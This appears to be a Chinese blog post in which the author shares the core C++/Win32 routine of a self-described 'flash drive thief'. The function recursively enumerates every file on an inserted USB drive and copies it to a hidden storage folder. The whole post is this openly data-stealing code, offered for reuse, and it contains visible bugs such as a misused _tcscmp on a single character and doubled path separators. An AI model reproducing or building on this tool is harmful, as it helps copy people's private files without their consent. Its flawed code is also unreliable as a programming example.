最近写了一个优盘小偷 所遇到的问题就是枚举文件夹中的所有文件 因此上网搜索 加上修改 终于实现了所需要求 代码如下 //枚举 并拷贝文件 int CFlashThiefDlg::EnumAndCopyFileSDK(CString strRootPath) { //CFileFind fileFind; //SDK方式 WIN32_FIND_DATA FindFileData; BOOL bFinishFind = FALSE; ZeroMemory(&FindFileData, sizeof(WIN32_FIND_DATA)); strRootPath += _T("//*.*"); HANDLE hFindFile = FindFirstFile(strRootPath, &FindFileData); if (hFindFile == INVALID_HANDLE_VALUE) //枚举失败 { return -1; } while(hFindFile != INVALID_HANDLE_VALUE && GetLastError() !=ERROR_NO_MORE_FILES) { if ((_tcscmp( FindFileData.cFileName , _T("."))) ==0 || (_tcscmp(FindFileData.cFileName , _T("..")) == 0)) { FindNextFile(hFindFile , &FindFileData); continue; } if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) //递归枚举文件夹里面的 { CString strChildPath = strRootPath.Mid(0,strRootPath.GetLength()-3) + FindFileData.cFileName; this->EnumAndCopyFileSDK(strChildPath); FindNextFile(hFindFile , &FindFileData); SetLastError(0); continue; } CString strFileFullName = strRootPath.Mid(0,strRootPath.GetLength()-3); strFileFullName += FindFileData.cFileName; CString strStorgePath = m_strStrogePath; //CString strFilePath = strStorgePath; strStorgePath = strStorgePath + _T("//") + strFileFullName.Mid(3,strFileFullName.GetLength()-3); CString strFoldPath ; //创建的文件夹的路径 strFoldPath = m_strStrogePath + _T("//") ; strFoldPath += strRootPath.Mid(3 , strRootPath.GetLength() - 3 //去掉h:/三个字符 -3 //去掉*.* -1); //去掉 / TCHAR tmp = strFoldPath.GetAt(strFoldPath.GetLength() - 1); TCHAR *tmpChar = &tmp; if(_tcscmp(tmpChar , _T("//")) == 0) strFoldPath = strFoldPath.Left(strFoldPath.GetLength()-1); //去掉最后一个/ if (!IsFileExists(strFoldPath)) { CreateDirectory(strFoldPath , NULL); //i = _mkdir((char*)(LPCTSTR)strFoldPath); } CopyFile(strFileFullName , strStorgePath , FALSE); //DWORD dwErrCode = GetLastError(); FindNextFile(hFindFile , &FindFileData); } return 0; }